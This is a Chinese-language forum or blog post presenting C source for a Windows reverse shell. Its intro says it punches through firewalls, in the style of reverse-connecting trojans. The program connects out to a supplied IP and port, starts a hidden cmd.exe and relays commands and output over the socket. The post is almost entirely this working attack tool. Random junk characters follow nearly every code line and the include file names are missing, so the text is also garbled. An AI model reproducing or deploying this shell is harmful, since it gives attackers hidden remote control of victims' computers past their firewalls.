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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F3hG8YX  
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/* ============================== hd6O+i Y4  
Rebound port in Windows NT 1yVhO2`7]  
By wind,2006/7 <RKT |  
===============================*/ HuJc*op-6  
#include  TJ1h[  
#include F$bV}>-1k  
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#pragma comment(lib,"wsock32.lib") SA7(EJ95  
R0%M9;>1  
void OutputShell(); 0<O()NMv  
SOCKET sClient; -We9 FO~  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L&s$&E%  
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void main(int argc,char **argv) m7DKC,  
{ #*:^\z_Jd  
WSADATA stWsaData; n}I?.r@e  
int nRet; 2?SbkU/3|P  
SOCKADDR_IN stSaiClient,stSaiServer; {`G d  
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if(argc != 3) 7f4O~4.[i  
{ uKXNzz  
printf("Useage:\n\rRebound DestIP DestPort\n"); R3;%eyu  
return; 9! /kyyU  
} B0%=! &  
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WSAStartup(MAKEWORD(2,2),&stWsaData); %4f.<gz~r|  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X fqhD&g  
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stSaiClient.sin_family = AF_INET; U(9_&sL  
stSaiClient.sin_port = htons(0); r34MDUZdI  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 50j8+xJPV  
Q{RmE:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q;")  
{ msM1K1er  
printf("Bind Socket Failed!\n"); 0=#>w_B  
return; O|~C qb  
} 80wzn,o S  
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stSaiServer.sin_family = AF_INET; !~Uj 'w  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6oNcj_?7?q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); kB> ~Tb0  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;,C]WZ.w  
{ B+j]C$8}  
printf("Connect Error!"); v$W[(  
return; jk{(o09  
} uI)twry]@  
OutputShell(); Wc[,kc  
} )&Oc7\J,  
(Z SaAn),  
void OutputShell() ba);f[>  
{ o)/Pr7Qn  
char szBuff[1024]; ~0a5  
SECURITY_ATTRIBUTES stSecurityAttributes; FT@uZWgQ=  
OSVERSIONINFO stOsversionInfo; BVNW1<_:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `t&{^ a&Y"  
STARTUPINFO stStartupInfo; Dj&~x  
char *szShell; TZAd{EZa  
PROCESS_INFORMATION stProcessInformation; DPTk5o[  
unsigned long lBytesRead; DAB9-[y+  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !hBpon  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /x6p  
stSecurityAttributes.lpSecurityDescriptor = 0; [y[d7V9_o  
stSecurityAttributes.bInheritHandle = TRUE; :$MOdLr  
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0 =j }`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !Rn6x $_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); d(T4Kd$r  
]:<! (  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); vk& gR  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1iy$n  
stStartupInfo.wShowWindow = SW_HIDE; 6pt_cpbR  
stStartupInfo.hStdInput = hReadPipe; jxh:z  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @ _Ey"k<  
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GetVersionEx(&stOsversionInfo); Ts5)r(  
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switch(stOsversionInfo.dwPlatformId) !Zz;;Z  
{ /4:bx#;A  
case 1: ti\ ${C3  
szShell = "command.com"; ]pax,| +$C  
break; w,LtQhQ  
default: Z2% HQL2  
szShell = "cmd.exe"; wVs?E  
break; >XD?zF)6  
} > ;,S||  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9%!h/m>rW  
/{i~CGc ;"  
send(sClient,szMsg,77,0); ~M C|  
while(1) 3o<d= @`r  
{ e~o!Qm  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); WRh5v8Wz0  
if(lBytesRead) &`"DG$N(  
{ P6:9o}K6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); {%V(Dd[B6  
send(sClient,szBuff,lBytesRead,0); ^9g$/8[^c_  
} n ~t{]if"  
else 1Ms[$$b$  
{ lSj gN~:z  
lBytesRead=recv(sClient,szBuff,1024,0); {keZ_2  
if(lBytesRead<=0) break; /sE,2X*BT  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z*,e<zNQ  
} ~6[?=mOi'  
} S* h52li  
mxa~JAlN_  
return; 7+O)AU{  
}
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